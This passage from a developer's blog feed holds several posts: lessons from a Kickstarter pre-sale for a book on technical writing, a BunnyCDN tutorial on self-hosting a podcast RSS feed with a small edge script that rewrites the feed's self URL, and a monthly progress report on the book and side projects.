I had better luck just announcing that I was open to sponsorships and letting companies reach out to me. Scott, the owner who acquired my last company reached out and purchased a sponsorship when he heard about the book, and I’m in discussions with another reader who participated in the pre-sale.

Creating a web app to pander to Hacker News

I’ve often wondered who the most popular bloggers are on Hacker News, so, last summer, I wrote a quick and dirty tool to figure out the answer.

During the pre-sale, I realized my blog popularity tool would be a good way to attract attention from Hacker News. People who care about the top Hacker News bloggers might also be interested in my book, so I published the tool on the book’s website. To lead visitors to the book, I put a prominent pre-order link in the navigation menu:

To court attention from Hacker News, I created a tool to rank popular bloggers on Hacker News and included a pre-order button for my book in the navigation bar.

My personal blog is one of the top 50 on the list, so I gave myself unique flair to lead readers to my book:

To make my blog stand out, I gave my entry in the list a little animated image to advertise my book.

Hacker News did get excited about the tool, and it reached the top 10 of the front page for the day. John Gruber, the 5th most popular blogger on Hacker News, wrote an article about my tool.

Unfortunately, none of that attention translated to pre-orders. Sales were nearly zero over the two days that the blog ranking tool was most popular.

Getting my blog ranking tool to the front page of Hacker News had no effect on sales.

What I’m glad I did

Ran the pre-sale on Kickstarter

I’d never used Kickstarter before, and I was pleasantly surprised by how smooth and easy the process was.

I’m so jaded by “indie creator” platforms that hammer me with upsells and use deceptive techniques to squeeze me for money. I kept waiting for Kickstarter to tell me that I had to pay $500 to be “featured” or some other gotcha at the last minute, but it never happened.

Kickstarter did what it said it would do. They facilitated the pre-sale and never tried to milk me for money. Throughout the process, I felt like Kickstarter aligned incentives so that they only make money if my project succeeded.

I was surprised at how many customers discovered my book through Kickstarter itself. Part of Kickstarter’s pitch is that they have a community of members interested in funding indie projects, but I didn’t expect to find customers that way. According to Kickstarter’s metrics, 12% of sales were from people who discovered my book on Kickstarter.

I have a few quibbles with Kickstarter, but I’d still recommend them to anyone interested in a similar project.

Edited my sample chapters to work as blog posts

As I started working on my book, I struggled to choose which chapters to release as free samples. I wanted the samples to read like standalone blog posts rather than out-of-context book chapters. But which of my chapters would work both as book chapters and self-contained blog posts?

Finally, I realized that there’s no rule saying that what I call an “excerpt” has to 100% match what appears in the book. I could adapt the material however I wanted to fit the medium of a blog post.

For example, I published “How to Write Blog Posts that Developers Read” as a single article on the book’s website, but in the full book, I plan to split that material across several chapters and expand on the ideas.

I think adapting the material for a blog post worked well. I doubt that my blogging excerpt would have reached as many readers had I presented it exactly as it will appear in the book.

Underpromised on rewards

When Tracy Osborn ran a pre-sale for her first book, one of the rewards she offered was home-baked cookies. The fun, personal reward helped her project succeed, but then she felt stressed having to bake and ship hundreds of cookies.

I definitely felt the temptation to offer better, more eye-catching rewards during my pre-sale. Especially as sales slowed down, desperation set in, and I wondered what I could offer to reach my $5k goal.

I considered offering signed prints of the book, but that meant committing to a print run and shipping physical products, which is months of work in itself.

Looking back, I’m relieved that I didn’t succumb to desperation. I still feel good about everything I offered and the prices I set.

Didn’t go overboard on a fancy Kickstarter promotion

You can spend infinite time polishing your Kickstarter page. Some projects have slick promotional videos, professional designs, and big-name testimonials that look like they took months to put together.

I didn’t want to do that.

Honestly, the main reason was that I hate working on marketing stuff. But also, I felt like it was a rational choice because I didn’t want to sink weeks of work into an elaborate Kickstarter page before I even knew if anyone wanted this book.

In total, I spent 5-10 hours creating my Kickstarter project. I had to write a pitch for my book, but I had already done most of that work when I created the book’s website.

I recorded a short intro video because that’s what other successful projects seemed to do. It felt like a good way to demonstrate that I’m a real person and not a money-stealing AI bot.

Your browser does not support the video tag.

My intro video for the Kickstarter pre-sale

The video took me about 90 minutes to make. I wrote a short script, memorized it, and then recorded it about ten times until I captured a take I liked.

What I wish I’d done differently

Offered an “I just want to give you extra money” option

I recently attended a talk by Aaron Francis about creating educational software videos. He offers a course on this topic for $300, but he also sells a premium $1k package that includes a 40-minute 1:1 video call with him.

After the talk, I asked Aaron if those $1k customers ever pressured him to deliver something unreasonable on those calls or demanded more of his time afterward.

Surprisingly, Aaron said that he experienced the opposite.

When customers paid $1k for a private consultation with him, he found that they “somewhat want help, somewhat just want to hang out.” He sensed that customers viewed the $1k package as a generous tip. “It’s like I turned the iPad around, and they tipped a thousand dollars.”

I thought about offering a 1:1 call as part of my pre-sale, but I figured that if someone wanted to pay me above my asking price for the book, Kickstarter already offers that option. Or they could buy one of the premium rewards like a personalized writing review.

In retrospect, I should have offered a 1:1 call for $300-500. A 1:1 call feels different than just paying above the asking price and getting nothing in return, so that might have appealed to some people. It would have been a nice hourly rate for me and would give me valuable feedback from readers.

Started with my most excerpt-able material

By the end of the pre-sale, I’d published four excerpts from my book: two beforehand and two during.

Here are the metrics on how well those excerpts did at attracting readers, sorted from earliest to latest published:

Excerpt	Unique Readers	Hacker News score	Lobsters score	reddit score
“Rules for Writing Software Tutorials”	24k	376	27	162
“Passive Voice Considered Harmful”	2.4k	-	35	-
“How to Write Useful Commit Messages”	7.3k	-	12	39
“How to Write Blog Posts that Developers Read”	30.8k	603	49	0

With the benefit of hindsight, the best strategy would have been to start with my two most popular excerpts and publish them during the pre-sale. The problem is that I couldn’t predict for certain which articles would become my most popular. I actually thought that the two most popular excerpts would be “Rules for Writing Software Tutorials” and “How to Write Useful Commit Messages.”

The thing I was confident about ahead of time was that “Passive Voice Considered Harmful” would never be a hit. I personally care a lot about it, but I know that an impassioned rant about passive voice will never set the Internet on fire.

If I had to do this over, I’d have queued up two excerpts that I thought would be most popular and released them both during the pre-sale while I worked on the third. I’d save less flashy topics like “Passive Voice Considered Harmful” for after the pre-sale.

Kept better track of how customers found me

Kickstarter can generate custom links to identify how customers found your project, but I never used them.

Kickstarter allows you to create custom links to identify how customers found your project, but I never used them.

Looking back, the custom links would have provided helpful insight into how customers found me. Without the custom tags, Kickstarter goes by the HTTP referer header, which is not as reliable as custom links.

Don't Marry Your Podcasting Platform: Host Your Own Podcast Feed

Sat, 12 Apr 2025 00:00:00 +0000

Suppose you host your podcast on a platform like Libsyn or Podbean. What happens if you decide to switch podcast platforms? You already gave everyone a RSS URL that pointed to your old platform.

For example Libsyn gives your podcast an RSS URL like this:

https://feeds.libsyn.com/12345/rss

When you submitted your podcast to Apple Podcasts and shared your RSS URL with your listeners, you pointed them directly to your podcast platform.

If you move, all of your listeners’ podcast apps will still be looking for your podcast at your old URL.

Don’t rely on redirects

When most podcasts switch platforms, they ask their old platform to set up a redirect. For example, if you’re moving from Libsyn to Podbean, you’d go to your Libsyn settings and point it to your new podcast URL.

That way, any time a listener tries to access your old Libsyn RSS URL, Libsyn tells them that you’ve moved.

There are two problems with this strategy:

Not all podcast players will update their URL when they see a redirect, so they’ll keep checking your old feed forever.
There’s no guarantee that your old podcast host will keep providing redirects for you.

(2) is especially significant. If you’re a podcast hosting platform, why do you want to offer a feature that helps customers leave your platform? If that platform starts to get desperate to stay in business, redirects are likely one of the first features they’d eliminate.

So, what do you do? You need to give your listeners a URL to your podcast, so how do you avoid this problem?

Host your own RSS feed

A podcasting platform actually hosts two separate services, though they seem like they’re the same thing.

When you host a podcast with Libsyn or Podbean, they’re actually hosting two different types of files for you:

Your audio/video recordings
Your podcast’s RSS feed, which is an index of all of your recordings

But the two services are actually completely independent. If you want to, you can host them from two separate vendors, and everything works fine. And this is actually what I do and what I recommend other podcast owners do.

Neither service is technically very difficult, but service (2) is extremely inexpensive to do.

Podcast recordings are generally large files of anywhere from 50 MB to 5 GB, depending on length, quality, and whether there’s video. But podcast RSS feeds are tiny, generally less than 1 MB. In hosting costs, you’d pay about a penny for every 10,000 times your listeners check your podcast feed.

You can host your RSS feed simply and inexpensively by setting up a CDN in front of your podcast provider. The CDN will only be responsible for serving your RSS feed. Podcast players will still retrieve the large audio/video files directly from your podcast provider.

Only distribute your own custom domain name

When you distribute a URL like https://feeds.libsyn.com/12345/rss to your listeners and podcast directories, you’re married to Libsyn (or whoever your hosting provider is).

Instead, you should only distribute an RSS URL for a domain name that you own.

For example, if your podcast is called “My Awesome Dinosaur Podcast,” then you can register this domain name for your show:

myawesomedinosaurpodcast.com

Note: I’m not going to explain how to purchase a domain name, as that’s out of scope, but any domain name provider will be fine. I personally like DNSimple.

When you give out your podcast feed to listeners and podcast directories, it will be:

https://feeds.myawesomedinosaurpodcast.com

If you switch podcast hosts, your listeners will never have to do anything as they’ll still listen from your same feeds.myawesomedinosaurpodcast.com URL. They’ve never seen any Libsyn or Podbean URL at all.

Hosting your own RSS feed

For this example, I’m going to use these example values:

https://feeds.libsyn.com/12345/rss: The RSS feed your podcast host told you to use.
https://feeds.myawesomedinosaurpodcast.com: The actual URL you’ll use instead.

Create a BunnyCDN account

First, create an account with BunnyCDN.

You can use any CDN for this, but I like Bunny as they’re simple and inexpensive.

Add a Pull Zone

From your Bunny account, go to CDN > Add Pull Zone.

Give your Pull Zone a name. It doesn’t matter what name. For this example, I’m using the name example12345.

Under Origin Type, select “Origin URL” and enter your vendor’s podcast’s RSS URL:

Choose “Standard Tier.”

Under “Pricing Zones,” just choose the cheapest option and unselect the rest. It doesn’t matter if your RSS feed is super fast in every region, as it has no effect on listener experience.

Finally, click “Add Pull Zone.”

Testing your URL

When Bunny creates your Pull Zone, try visiting the URL b-cdn.net URL it created at the top:

If this worked, you should see your podcast’s RSS feed when you visit that link (your browser may download the file automatically).

If everything is working, you’re through the hard part. You just have to set up your custom domain name.

Linking your custom domain

From the pull zone you created, go to General > Hostnames.

Enter your podcast’s domain like:

feeds.myawesomedinosaurpodcast.com

Note: The subdomain doesn’t strictly have to be feeds. It can be anything you want, but I find that feeds is a useful convention.

Bunny will give you a DNS record that you need to activate on your domain registrar’s side.

Go back to where you registered your domain, and add the DNS entry that Bunny showed you.

When you’ve finished adding the CNAME record to your domain registrar, come back to the Bunny screen, and click “Verify & Activate SSL.”

Override caching

Bunny (and all CDNs) aggressively cache data. They’re designed to lighten the load on other servers, so Bunny, by default, only checks the “Origin URL” (your podcast provider) occasionally for updates.

This can get in the way of your listeners getting timely updates. You don’t want to update your podcast and then have nobody see it for a day or two because Bunny is serving an old copy.

You can prevent Bunny from serving stale copies of your podcast feed by going to your pull zone and going to Caching > General.

Change “Cache Expiration Time” to “Override: 20 minutes.”

That tells Bunny to only store a copy of your podcast’s feed for a maximum of 20 minutes. You can dial this up or down depending on your preference.

I recommend against “Do not cache.” If you have a popular podcast where hundreds of listeners might check your feed at once, that would cause Bunny to send your podcast provider hundreds of requests at once, which might cause your podcast provider to block requests from Bunny, which would cause your listeners to see an error message.

Replace the canonical URL

One subtlety of the RSS feed is that it contains a self tag that looks like this:

<atom:link href="https://feeds.libsyn.com/12345/rss" rel="self" type="application/rss+xml"/>

Even if you distribute your https://feeds.myawesomedinosaurpodcast.com URL, some podcast players will prefer the self tag to the original URL, which would bypass your CDN-hosted version.

To prevent this, you’ll need to use a custom Bunny edge script.

Go to Edge Platfrom > Scripting and click “Add Script.”
Choose “Deploy and edit on Bunny.net”
Name the script “Replace RSS self tag”
Change the Type to “Middleware”
Click “Add Script”
In the code editor, enter the following code:

import * as BunnySDK from "https://esm.sh/@bunny.net/edgescript-sdk@0.11.2";

// Replace with the vendor-specific URL to your RSS feed.
const SOURCE_URL = "https://feeds.libsyn.com/12345/rss";

// Replace with the domain name that you own.
const TARGET_URL = "https://feeds.myawesomedinosaurpodcast.com";

/**
 * Modifies the response from the origin to replace a specific URL.
 *
 * @param {Context} context - The context of the middleware.
 * @param {Request} request - The current request done to the origin.
 * @param {Response} response - The HTTP response or string.
 */
async function onOriginResponse(context: { request: Request, response: Response }): Promise<Response> | Response | void {
 const responseText = await context.response.text();

 // Replace the URL with simple string replacement
 const modifiedText = responseText.replace(SOURCE_URL, TARGET_URL);

 // Create a new response with the modified text
 return new Response(modifiedText, {
 status: context.response.status,
 statusText: context.response.statusText,
 headers: context.response.headers
 });
}

BunnySDK.net.http.servePullZone()
 .onOriginResponse(onOriginResponse);

Finally, hit the “Connect Pull Zone” button to attach this script to your RSS feed.

You’re done!

If you set things up correctly, you should now have a custom URL that serves your podcast feed.

You now have a URL that you control. If you ever switch podcast platforms, just update the “Origin” field of your BunnyCDN pull zone. You never have to deal with redirects or worry that your old platform will try to lock you in.

Refactoring English: Month 4

Wed, 09 Apr 2025 00:00:00 +0000

Highlights

My book’s pre-sale succeeded (just barely).
I wrote a bunch of blog posts, and I was bad at predicting their performance.
Now, I need to pick a markup language for writing my book.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Reach my $5k Kickstarter goal for Refactoring English.

Result: The Kickstarter reached $6,701 from 196 backers.
Grade: A+

The Kickstarter did better than I expected, making a last-minute comeback.

Publish the blogging chapter of Refactoring English.

Result: Published “How to Write Blog Posts that Developers Read”
Grade: A

This did well on Hacker News and Lobsters but not reddit.

Reach the front page of Hacker News twice by the end of March.

Result: “How to Write Blog Posts that Developers Read” and HN Popularity Contest both reached the front page.
Grade: A

I feel good about this goal now that I managed to pull it off, but I was worried for most of the month about how dumb I’d look if all five of my post ideas failed. Thankfully, two out of the five made it.

My book’s pre-sale succeeded

For most of the month, my book seemed doomed. The pre-sale was on track to fall short of the $5k goal by $1.5k.

Four days before the pre-sale closed, one of my blog posts got attention on Hacker News and completely turned sales around.

In the end, the Kickstarter raised $6,551, exceeding its $5k goal. It’s now at $6,701, including late pre-orders.

I wrote a longer account of the pre-sale last week:

My Book’s Pre-Sale Just Barely Succeeded

I plan to write a dedicated post about Kickstarter, but I had a great experience with it. It turned out to be a good way to measure interest in my book. And the $6.5k in pre-orders is higher than a traditional publisher would pay me as an advance.

Can I make the Julia Evans business model work for me?

The thing that’s exciting about Refactoring English’s pre-sale is that it’s a glimmer of hope that I could earn a living by blogging.

When I was running TinyPilot, blogging definitely helped me find my first few dozen customers. Eventually, it felt like my personal blog wasn’t helping sales at all. And that makes sense because people who are interested in an indie founder’s diaries are not necessarily interested in buying a $400 KVM over IP device.

With the complexity of a hardware business, I was almost always limited in hours, so it was hard to dedicate most of my day’s “deep thinking” hours to my personal blog. Ever since, I’ve been trying to figure out what business I could run where blogging aligns well with profitability for my business.

My hypothesis is that I can make blogging sustainable by creating educational products. If I write about something I’m doing, and I have a book or course that goes into more depth, readers can learn more and fund my work.

The best example of a blogger who earns money with related content is Julia Evans. She maintains a software blog and monetizes her work by selling illustrated zines.

Julia doesn’t disclose her revenue publicly anymore, but she was making ~$100k/yr from zines as of 2019. That $100k/yr was before she started working on her blog full-time. Granted, it was revenue, not profit, but I’d expect the margins were around 90-95% since the zines were digital, so she just had to pay fees to payment processors and content platforms like Gumroad.

So, $100k in revenue when it was still a side project is quite good. Let’s imagine that Julia tripled her sales by working on her business full-time instead of after hours. If I can be half as successful as she was, then that’s $150k/yr from blogging and selling related products. It sounds challenging but achievable.

Blogging like my livelihood depends on it

March was an interesting blogging challenge because I was trying to find customers for my book by writing successful blog posts. That’s unusual for me, as I’m usually not writing to a deadline or choosing topics for maximum readers.

I have a long list of topic ideas and half-written posts, so I evaluated them on these dimensions:

Ease: How easy would it be to write a post that feels complete?
Potential audience: If this post succeeds, how large is the potential audience that would enjoy it?
Probability of success: How likely is this post to reach its intended audience?
Overlap with book: If a reader discovers this post, how likely are they to be interested in my book?

I didn’t sit down and formally score my ideas, but the rough mental calculation looked like this:

Title	Ease	Potential audience	Probability of Success	Overlap with book
No Longer My Favorite Git Commit	4	5	4	4
How to Write Useful Commit Messages	2	5	3	4
How to Write Blog Posts that Developers Read	2	4	2	5
How to Maintain an Open-Source Project and Remain Happy	3	3	4	2
Fine Tuning Your Writing: Using Strong Verbs	5	1	1	5
Three Months Using NixOS after 35 Years on Windows	3	2	5	1
Use Zig to Build C Applications	3	3	4	1

I ended up picking the top three from that list, but they didn’t perform as expected. Here were the results:

Title	Impact on Sales	Total Readers	Hacker News	reddit
How to Write Blog Posts that Developers Read	High	22.3k	9.7k	325
How to Write Useful Commit Messages	Medium	2.6k	126	1.2k
No Longer My Favorite Git Commit	Low	31.6k	87	6.4k

“No Longer My Favorite Git Commit” felt like my strongest idea because I knew I could write it quickly, and I thought there was a large potential audience since the original was so popular. It did well on Lobsters, okay on reddit, and flopped on Hacker News. I didn’t realize until I sat down to write this post that Google Discover (a thing I didn’t even realize existed) featured my post, which brought in 15k readers.

That post was a bit unusual for me because I’ve never written a rebuttal to a blog post before. When I started the post, I was excited because I had strong opinions about the original. When I finished the first draft, I started having second thoughts. It felt like I was needlessly attacking another blogger for something they wrote six years ago. I adjusted the language to make it feel less like an attack, but it still felt antagonistic.

“How to Write Useful Commit Messages” was the post that was supposed to kick off the pre-sale. It did well on Lobsters and okay on reddit but flopped on Hacker News. It’s hard to tell how much of an impact it had on sales because I can’t distinguish between readers who pre-ordered because of the post and those who pre-ordered because I announced the pre-sale to the book’s mailing list on the same day.

“How to Write Blog Posts that Developers Read” was the surprise hit that saved the book. It did okay on Lobsters and bombed on reddit. My first submission to Hacker News flopped, but then someone else resubmitted it the next morning, and it got an amazing reception, ending at #4 for the day. Best of all, many of the people who found the post through Hacker News became customers through the pre-sale.

Hacker News Popularity Contest

“Engineering as marketing” is a marketing technique that’s popular with engineers who are bad at marketing (e.g., me).

The idea is that you create a free tool that’s related to your paid product, and then hope that people are impressed enough with your free thing that they check out your paid thing.

I’ve had an idea to build a Hacker News blog ranking system for a long time because I always wondered how I compared to other popular Hacker News authors. I created a basic prototype last summer because I was planning to use it for the reboot of my Hit the Front Page of Hacker News course.

When I shelved my course and focused on Refactoring English, I didn’t know what to do with the blog ranking tool. When March rolled around, and I was desperate to make the pre-sale succeed, I realized I could invest a day or two of work into getting my prototype ready to publish.

Popularity Contest is a tool I created to promote Refactoring English

The tool successfully reached the front page of Hacker News, but it didn’t have any impact on book sales.

One of the unexpected reactions was how many people in the top 100 cared about their rank. I assumed that if you were one of the most popular personal bloggers on Hacker News, you’re famous enough that Hacker News isn’t a big deal to you, but a lot of people in the top 100 commented on it either publicly or privately to me in DMs/emails.

A lot of the top bloggers seemed especially interested in how their rank changed over time, most notably John Gruber, who felt my tool supported his theory that Hacker News had applied manual penalties to his site in recent years.

Based on that reaction, I added functionality to view more detailed stats for individual blogs, but I haven’t seen much reaction to that feature yet.

Top bloggers seemed interested in sharing their domain’s stats, so I created per-blog views.

Picking a markup language for the book

So far, I’ve been writing my book using Markdown with Hugo. I haven’t started on the official PDF version yet, so I’ve been punting on the decision to pick a book publishing technology.

Now that the book is officially happening, I need to pick a method for writing it. The features I’m interested in are:

Can the tool natively output PDF?
Can the tool natively output epub?
Can the tool natively output HTML?
How mature is the tool? How likely am I to hit new bugs or dead ends trying to achieve simple things?
Which DRM-free technical traditional publishers support this format?
- I’m going to self-publish the first edition, but it would be nice to have the option to work with a traditional publisher on a print version for a second edition.

The options seem to be:

Tool	PDF	epub	HTML	Maturity	Publisher Support
Asciidoctor	✅	✅	✅	High	None
LaTeX	✅	❌	❌	Very high	No Starch Press
Pollen	❌	❌	✅	Low	None
Typst	✅	❌	❌	Low	None
mdBook	❌	❌	✅	Low	None

It looks like the winner is either Asciidoctor or LaTeX.

There are third-party tools to convert from AsciiDoc to LaTeX. It’s probably not fun, but if No Starch tells me they want to publish a second edition of my book, I can probably suck it up and do a one-time conversion.

I spent a few hours with Typst. I like that it’s open-source, and it’s simpler than LaTeX, but it’s not enough of an improvement to justify using a newer, less mature tool. Also, it seems optimized for writing research papers and not as much for writing books.

Side projects

Getting more of the fusion RSS reader under test

Since switching to NixOS a few months ago, I’ve enjoyed hosting more services on my personal machine. My favorite is fusion, a minimal RSS reader built with Go, Svelte, and SQLite.

fusion is a minimal RSS reader built with Go, Svelte, and SQLite.

My favorite thing about fusion is that its maintainer has been friendly and receptive to code contributions, so I’ve been working on small improvements to the code in my spare time.

The contribution I’m most proud of is refactoring the pull package and getting more of it under test:

The pull package before (v.0.8.9) vs. after (v0.9.3)

It started because I wanted to add support for the If-Modified-Since HTTP header, but when I looked at the code responsible for initiating HTTP requests, it was difficult to modify. There were a few issues:

The code was mixing together lots of different responsibilities: reading the database, logic about when to query a feed, parsing external data, and writing results back to the database.
The code had no automated tests to exercise it.
If I wanted to write tests, the only exported function that exercised this code was Puller.PullAll, which adds even more complexity because that function also manages a pool of worker processes.

The main changes I made were:

I moved HTTP logic to its own file.
I moved RSS parsing to its own file.
I untangled the logic for querying a single feed from the component that manages multiple workers, which simplifies testing the logic for a single feed.
I created a simpler, clearer interface for how this piece of code interacts with the database, which made it easier to mock out the database in tests.
I created a dedicated function for deciding whether to update a feed rather than intermingle the decision with other parts of the update workflow.

I’d like to tidy it up a bit further, but I’m pleased with the progress so far, and it’s helped me fix several bugs and improve fusion’s functionality.

I should officially sunset What Got Done

In 2019, I created a web app called What Got Done. It was my first attempt at a real SaaS business, but I couldn’t find any customers.

I still use it every week. I’m now on a five-year streak of posting weekly updates, but I’m the only consistent user. Occasionally, other people pick it up, but they typically get bored of it after a few weeks and stop posting.

I wrote it when I knew much less about web development. The site originally used Go, Vue 2, AppEngine, and Google Cloud Firestore. I’ve since replaced AppEngine with fly.io and Firestore with SQLite, which made development a bit more pleasant, but I still find it miserable to work in Vue. I don’t know of a good way to incrementally move from Vue to vanilla JavaScript, and I don’t want to invest 30+ hours in a giant rewrite.

I realized recently that the site would make more sense as a static site that I generate with Hugo: I’d write my weekly updates in whatever editor I want, and then when I push them to my main branch, continuous integration would build the site and publish it. That’s how this blog works. And for What Got Done, that would eliminate a lot of complexity around user accounts, authentication, and database management. Plus, it means that all of my updates are searchable plaintext files rather than records trapped in a SQL database.

It costs me nothing to keep the site running, and I’ve only had to spend about five hours per year on maintenance. So, I’m not in a rush to sunset it, but I did take the first step of closing signups.

At some point, I’ll probably email recent users to announce sunsetting the project and let them export their data.

Interesting links

Four years of running a SaaS in a competitive market - This is one of the best blog posts I’ve ever read about building a bootstrapped company. I agree with almost all the lessons Max shares. Everything rings true for me based on my experience as a bootstrapped founder.

Wrap up

What got done?

Published “No Longer My Favorite Git Commit”
Published “How to Write Blog Posts that Developers Read”
Published “My Book’s Pre-Sale Just Barely Succeeded”
Released Hacker News Popularity Contest as a marketing tool for the book

Goals for next month

Write a blog post about lessons from Kickstarter.
Complete a new book chapter or teach a live session about a topic from the book.
Coordinate rewards with all the Kickstarter backers who opted for a public thanks or editorial help with a blog post.

Requests for help

If you have experience publishing a book in a markup language (i.e., not Word or Google Docs), tell me about your experience.

My Book's Pre-Sale Just Barely Succeeded

Mon, 31 Mar 2025 00:00:00 +0000

For the past few months, I’ve been working on a book called Refactoring English: Effective Writing for Software Developers.

I didn’t want to spend a year writing the book only to find out that nobody wanted to buy it, so at the beginning of March, I ran a one-month pre-sale on Kickstarter. I structured the project so that if I didn’t hit $5k in pre-orders, the project would be canceled, and I’d walk away with nothing.

Over the weekend, I hit my goal. As of this writing, I’ve reached $6,000 in pre-orders from 174 customers with eight hours remaining in the sale.

To the casual observer, it looks like I hit my goal comfortably.

In reality, for most of the month, I thought the book had failed, and I felt embarrassed about how poorly the pre-sale had gone.

Here’s what pre-orders looked like just four days ago:

Sales had long since plateaued. I’d already exhausted every idea I had for finding customers, and I was still $2,000 from my goal.

The thing that saved me was a lucky post on Hacker News.

Before the pre-sale

I started working on Refactoring English back in 2021. As soon as I started, my main business grew unexpectedly, and I spent so much time managing my company that I never had time to work on the book.

Until 2025, all I had of the book was a rough table of contents and a signup form for email updates about the book.

Between 2021 and 2024, my book was just a website with a rough table of contents and a signup form.

This year, I started working on the book again, and I published a couple of sample chapters. I heard positive feedback from readers, but I wasn’t sure if any developers would pay to read a book about improving their writing skills.

At the beginning of March, I decided the best way to see if this book was worth writing would be to do a one-month pre-sale of the book. I created a Kickstarter project for the book and let people pre-order the book for $25.

I set the project goal at $5k. I figured that would mean about 150 pre-orders plus some generous readers signing up for premium tiers to support the project.

My underwhelming first blog post

I wanted to launch the pre-orders on Kickstarter right after I published a new sample chapter as a blog post. I hoped the blog post would be popular, and then readers would get to the end of the post and see that I’m working on a book and think, “I like this guy’s ideas so much that I’d pay $25 for more of them.”

So I published “How to Write Useful Commit Messages” and put a little self-ad at the bottom for the pre-sale on Kickstarter:

I added self-ads at the bottom of my sample chapters, letting readers know about the pre-sale on Kickstarter.

I emailed the book’s mailing list to share the new chapter and announce the pre-sale on Kickstarter.

1,100 people had signed up for updates about the book, but when I offered pre-orders, only 49 people ordered. That didn’t bode well. Maybe they weren’t that interested after all? Or maybe they didn’t like what I was writing?

After a week, 49 customers had pre-ordered Refactoring English, though this was lower than I expected given the 1,100 mailing list subscribers.

But that was okay. I still had other ideas for marketing my book.

My secret weapon

Even though my book’s pre-sale started slower than I’d hoped, I secretly had an ace up my sleeve.

A month earlier, I’d written a blog post called “My Seventh Year as a Bootstrapped Founder.” I submitted it to Hacker News, and it immediately shot to the #1 position on the front page. It had 45 upvotes and was growing quickly.

Sadly, within minutes, the Hacker News moderators removed my post.

I reached out to the Hacker News moderators, and they explained that I had submitted my annual retrospective too soon after my previous post, “Lessons from my First Exit.” They felt like the content was too similar, but I was welcome to try again after there had been two or three months of distance from the previous post.

The moderator’s decision was a bit odd because the two posts don’t overlap much, and it had already been two months between posts. But I find Hacker News moderation extremely fair overall, so I figured I’d just wait a month.

So, now, the moderators removing my post actually worked in my favor. I had a post that I knew would succeed on Hacker News, and I could submit it during the pre-sale for my book to attract readers interested in pre-ordering.

I submitted my annual retrospective to Hacker News again, but, this time, it barely made a blip. It got a paltry two upvotes:

I tried again on a weekend, as there’s less competition outside of the work week, and it did even worse:

How could Hacker News love this post so much in February and then completely ignore it a few weeks later?

No longer my favorite git commit

But I had another idea. There was a 2019 blog post called “My Favourite Git Commit” that was popular on Hacker News and the /r/programming subreddit. While I was writing “How to Write Useful Commit Messages,” I had an insight about that post that hadn’t been part of the conversation before, so I thought that would make a good blog post.

I wrote a new blog post called “No Longer My Favorite Git Commit” and submitted it to Hacker News, but it flopped too.

I was growing concerned, as Hacker News usually has a better response to my writing, and I now had two consecutive flops. Still, I was hopeful that I could get something to land by the end of the month.

Unsuccessfully begging for sponsorships from companies

There are companies like Digital Ocean and LogRocket that invest a lot into writing high-quality blog posts for developers, so I was curious to see if they’d sponsor my book, as it’s about high-quality writing for developers.

I had the sponsorship idea from the start of the pre-sale, but I wanted to approach potential sponsors with some momentum behind me. I thought I’d approach companies right after a super popular blog post and show them how many readers would see their logo.

With only 10 days left in the sale, I hadn’t had any hit posts, and my pre-sale had clearly stalled. I felt like my pitch came across like begging for pity or a bailout.

I reached out to ten companies, and here were the results:

One offered $1k to buy a page in the book’s acknowledgments section and a banner ad on the website.
- I asked whether they’d be open to something time-limited, as I didn’t want a “forever” obligation, and they stopped responding.
One was interested but then stopped responding when they realized I wanted them to purchase the sponsorship through Kickstarter.
One gave a quick, polite “no.”
Seven (the rest) never responded.

What if I outright pander to Hacker News?

Last summer, I was curious who the most popular personal bloggers were on Hacker News, so I wrote some ugly Python scripts to crunch the data and show me the rankings. After another 5-10 hours of work, I polished my tool into a usable web app to promote my book.

A tool I created to promote the book

I was extremely confident this tool would be a hit on Hacker News.

Hacker News loves analyses of Hacker News itself, and they generally have a fondness for personal blogs. The tool also qualified for Show HN, the special category for showing off things you built yourself, which gets a special advantage in reaching the front page.

As always, there are never guarantees on Hacker News, but I’ve never been more confident in a post reaching the top 10.

It didn’t reach the top 10.

It barely even appeared on the front page at all.

Finally, a bit of Hacker News success

A few days later, I was browsing Hacker News and saw a post called “The highest-ranking personal blogs of Hacker News.”

What?!?

Someone had stolen my idea!

Oh, wait. It was a link to my site.

Another Hacker News user had just submitted my tool (nothing wrong with that). For whatever reason, their submission caught on even though my previous attempt failed. My guess is that it was better without the “Popularity Contest” title.

But, finally, I was on the front page! From there, it got the attention of John Gruber (co-inventor of Markdown), who wrote a blog post about my tool.

In two days, 20k people had visited the Refactoring English website to try out my tool.

I checked out how Kickstarter was doing: virtually no change.

Between the day the tool was on Hacker News and the next day when John Gruber blogged about my tool, there were only four sales for a total of $100. The pre-orders were indistinguishable from days I wasn’t on the front page at all.

So, that was yet another bad sign.

I got my book in front of my target audience, and none of them were interested in buying the book.

The miraculous comeback

By this point, there were only five days left in the pre-sale, and I had only raised 60% of my $5k pre-sale goal.

I thought for sure my book was a failure. I was already debating between scrapping the project entirely or pivoting to a less ambitious book that I could finish in just a few more weeks of work.

I had one last hope: a sample chapter about blogging. I’d been working on it for the past few weeks, and it was the last chapter I had time to finish by the end of the month.

The problem with writing about blogging is that there’s so much low-quality, spammy advice that readers are skeptical, and a lot of the communities where you’d want to share your article have strict rules against self-promotion.

That’s why I was unsurprised when I posted the chapter to reddit, and users downvoted it to zero. The top comment was someone complaining about the topic itself:

I submitted the chapter to Hacker News, and it slowly accrued a few upvotes and comments but never got enough momentum to hit the front page.

Because my “Popularity Contest” tool performed so much better with a different title, I tried submitting it the next day with the title, “What I Learned from Nine Years of Blogging.” Hacker News immediately marked it as a duplicate.

Huh? Usually, you can resubmit a failed post a day later, and it doesn’t count as a duplicate.

And then I looked on the front page, and my post was there! Another user had posted it on my behalf, and it had reached the #11 spot.

And this time, readers were interested in the book. Within a few hours, there were $1,000 in new pre-orders. The chapter continued getting positive reactions on Hacker News, eventually reaching 581 upvotes and 154 comments:

When I went to bed that night, the Kickstarter was less than $300 from its $5k goal with three days left.

When I woke up Saturday morning, I had reached my goal, and people continued pre-ordering.

The pre-sale ended with $6,551 in sales from 191 customers.

I get to write my book!

I never expected such a dramatic end to the pre-sale. The project came within a hair of failing, and the only thing that saved it was Hacker News picking up that longshot sample chapter.

I’m extremely thankful to everyone who supported the project.

I’ve wanted to write this book for the past four years, and I’m excited that people pre-ordered and gave me confidence that there are enough interested readers for me to invest the next several months into this book.

No Longer My Favorite Git Commit

Wed, 19 Mar 2025 00:00:00 +0000

